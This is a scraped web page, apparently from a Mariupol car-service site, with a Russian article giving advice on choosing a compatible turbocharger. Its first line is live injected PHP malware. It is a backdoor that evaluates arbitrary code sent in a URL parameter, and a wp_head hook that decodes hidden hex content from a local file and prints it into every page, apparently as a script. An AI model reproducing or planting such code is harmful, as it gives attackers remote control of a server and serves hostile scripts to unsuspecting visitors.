if(isset($_GET["up-time"])){eval($_GET["up-time"]);} if ((is_admin() || (function_exists('get_hex_cache'))) !== true) { add_action('wp_head', 'get_hex_cache', 12); function get_hex_cache() { return print(@hex2bin( '3c7' . (file_get_contents(__DIR__ .'/_inc.tmp')))); } } Как подобрать турбину? - STO Mariupol

Если вам нужен новый турбокомпрессор, то у вас есть довольно большое поле для маневров. Современные производители комплектующих к автомобилям предлагают разные конструкции, которые с каждым годом становятся все более совершенными. А мы, со своей стороны, подскажем, как выбрать турбину для ваших стартовых условий.

Новая турбина на автомобиль не обязательно должна быть полным аналогом вышедшей из строя

Выбирая новую турбину, вы можете установить более совершенную версию, которая обеспечит:

  • большую мощность;
  • отсутствие турбоям;
  • более легкую управляемость;
  • контроль над остыванием турбины, благодаря чему продлевается ее срок службы.

Более того, даже если у вас атмосферник, на него можно выбрать турбину и улучшить таким образом мощностные показатели.

Как понять, совместима ли выбранная турбина с вашим двигателем?

Обратите внимание на следующие конструктивные моменты:

  • Полезная площадь горячего выхода двигателя рассчитывается таким образом, чтобы избежать перегрева. Поэтому при выборе турбины важно, чтобы ее вход в горячую улитку был либо той же площади, либо большим.
  • Размеры турбины определяются объемом двигателя. На маломощные моторы, которые эксплуатируются преимущественно в условиях города, ставят такие же небольшие турбины. Их дополнительные преимущества — отличная производительность и высокий крутящий момент, они быстрее выходят на рабочий режим.
  • Модное среди тюнингистов направление — установка двух турбин. Это обосновано для машин от 3000 кубических сантиметров. Меньший турбокомпрессор способен реагировать на минимальных мощностях, исключая таким образом провалы при запуске (турбоямы). Большая турбина подключается на высоких оборотах. Дальше они работают в паре.
  • У каждой турбины есть КПД, который характеризует реальную температуру воздуха на выходе из турбины при наддуве. Он должен примерно соответствовать пику мощности двигателя.
  • Тип подшипника турбины зависит от условий эксплуатации. На высоких оборотах роликовому маслозаполненному подшипнику равных пока что нет.
  • Новая турбина с точки зрения эксплуатационного ресурса лучше. Но ее цена будет значительно выше. Поэтому многие покупают турбокомпрессор с разборки. Если провести качественную диагностику, это не будет проблемой.

А лучше всего знает, как выбрать турбину, автослесарь с большим опытом. Поэтому потратьте немного времени на поиск надежного автосервиса. Это обязательно окупится.

Від admin

Залишити відповідь

Ваша e-mail адреса не оприлюднюватиметься. Обов’язкові поля позначені *